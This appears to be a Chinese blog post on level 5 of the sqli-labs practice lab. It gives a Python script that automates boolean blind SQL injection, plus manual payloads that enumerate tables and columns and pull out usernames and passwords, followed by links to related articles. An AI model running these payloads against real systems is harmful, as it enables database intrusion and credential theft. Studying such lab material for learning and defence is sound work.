sqli-labs第5关布尔盲注pyhton脚本
import requests
import os #此函数先判断数据库长度
def length(url,str):
num = 1
while True:
str_num = '%d' %num
len_url = url + "' and (select length(database()) = " + str_num +")--+"
response = requests.get(len_url)
if str in response.text:
print("数据库长度为:%s" %str_num)
content(url,str,num)
break
else:
num = num + 1 #此函数判断字符串具体的内容
def content(url,str,num):
s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
con_num = 1
while con_num <= num:
str_num = '%d' %con_num
for i in s:
con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"
response = requests.get(con_url)
if str in response.text:
fwrite(i)
con_num = con_num + 1
#此函数对字符串的内容做记录并输出
def fwrite(i):
fp = open("cache.txt",'a')
fp.write(i)
fp.close()
if __name__ == '__main__':
url = "http://localhost/sqli-labs/Less-5/?id=1"
response = requests.get(url)
str = "You are in..........."
if str in response.text:
length(url,str)
else:
print("请输入正确的地址")
初学python,只注重实现功能,不要太在意某些细节,如有建议,感谢提出。
#库中有几个表:
1' and ((select count(table_name) from information_schema.tables where table_schema = 'security') = 4)--+
#测表名长度:
1' and (select length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1)) = 10)--+
#爆表名:
1' and (select mid((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='a')--+
#表中有几列:
1' and ((select count(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security') = 3)--+
#测列名长度:
1' and (select length((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1)) = 8)--+
#爆列名:
1' and (select mid((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1)='u')--+
#爆用户名:
1' and (select mid((select username from security.users limit 0,1),1,1)='d')--+
#爆密码:
1' and (select mid((select password from security.users limit 0,1),1,1)='d')--+
以上标红的就是需要递归测试的地方(标红的地方不显示-.-!,将就看),需要者可自行修改代码。还有上述代码中 s 列表请针对具体的情况修改,因为没有特殊字符以及大写字母等。
sqli-labs第5关布尔盲注pyhton脚本的更多相关文章
- python dvwa布尔盲注自动化脚本(level=low)
仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="htt ...
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
- sqli-labs lesson5-6 布尔盲注 报错注入 延时注入
LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...
随机推荐
- ABBYY FineReader 15 如何为PDF文档添加页眉页脚
页眉.页脚是文档页面顶部或底部重复出现的文本信息.很多用户会习惯在文档页面的顶部与底部区域添加页眉.页脚来展现页码.文档标题.作者姓名.品牌名称等附加信息.而ABBYY FineReader 15(W ...
- css3系列之详解box-shadow
box-shadow box-shadow呢 是设置元素的阴影效果的,利用这个属性,可以设计很多很炫丽的效果,不信? 等下,学完,我们就来完成下面这两个效果 首先 先了解一下,box-shadow 的 ...
- Jinja2语法自动补全配置
Jinja2语法自动补全配置 说明 在使用Pycharm社区版进行Web开发时,Jiaja2的语法是不会自动提示补全的,为了提高开发效率,需要根据个人习惯进行一些常用语法的自动补全配置,具体如下. 配 ...
- GraphicsLab 之 Atmospheric Scattering (一)
作者:i_dovelemon 日期:2020-10-11 主题:Atmospheric Scattering, Volume Scattering, Rayleigh Scattering, Mie ...
- Python的偏函数
import functools def showag(*args,**kwargs): print(args) print(kwargs) p1 = functools.partial(showag ...
- Jmeter介绍、下载及配置
Jmeter介绍: Apache JMeter是Apache组织开发的基于Java的压力测试工具.最初被设计用于Web应用测试,后来扩展到其他测试领域. 它可以用于测试静态和动态资源,例如静态文件.J ...
- IAR编译错误Error[e16]: Segment ISTACK (size: 0xc0 align: 0) is too long for segment definition. At least 0x8 more bytes needed. The problem occurred while processing the segment
问题:个人使用的是IARV9.10编译CC2541的工程,没有做任何修改,直接编译出现如下错误 Error[e16]: Segment ISTACK (size: 0xc0 align: 0) is ...
- 洛谷 P3410 拍照(最大流 + 建图)
这道题问的是一群人要和另一群人合影,每个客人都有必须在场的人全部在场才能在场,每个客人给的有收入,但是邀请也需要支出,问最大收入? 我觉得可以总结为一类问题,就是有先决条件的网络流问题.看到费用和支出 ...
- JavaWeb知识梳理
目录 JavaWeb Web服务器 技术讲解 Web服务器 Tomcat Http Maven pom.xml Servlet HelloServlet Servlet原理 Mapping Servl ...
- volatility内存取证学习
工具下载: Linux环境 apt-get install volatility 各种依赖的安装,(视情况安装) #Distorm3:牛逼的反编译库 pip install distorm3 #Y ...